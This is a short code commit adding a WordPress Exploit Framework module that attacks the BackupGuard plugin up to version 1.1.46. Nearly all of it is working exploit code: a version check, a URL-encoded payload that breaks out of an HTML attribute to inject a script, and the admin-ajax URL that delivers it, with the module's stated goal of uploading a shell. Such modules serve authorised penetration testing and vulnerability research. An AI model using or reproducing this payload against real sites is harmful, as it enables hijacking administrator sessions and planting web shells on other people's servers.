Add BackupGuard <= 1.1.46 reflected XSS shell upload

Author: rastating

modules/exploits/backup_guard_reflected_xss_shell_upload.rb

@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+class Wpxf::Exploit::BackupGuardReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'BackupGuard <= 1.1.46 Reflected XSS Shell Upload',
+      author: [
+        'Chris Liu',                      # Dislosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8894'],
+        ['URL', 'https://jvn.jp/en/jp/JVN58559719/index.html']
+      ],
+      date: 'Aug 24 2017'
+    )
+  end
+
+  def check
+    check_plugin_version_from_changelog('backup', 'README.txt', '1.1.47')
+  end
+
+  def xss_payload
+    url_encode("\"><script>#{xss_ascii_encoded_include_script}</script><input type=\"hidden")
+  end
+
+  def url_with_xss
+    "#{wordpress_url_admin_ajax}?param=&backupType=#{xss_payload}&action=backup_guard_modalManualBackup"
+  end
+end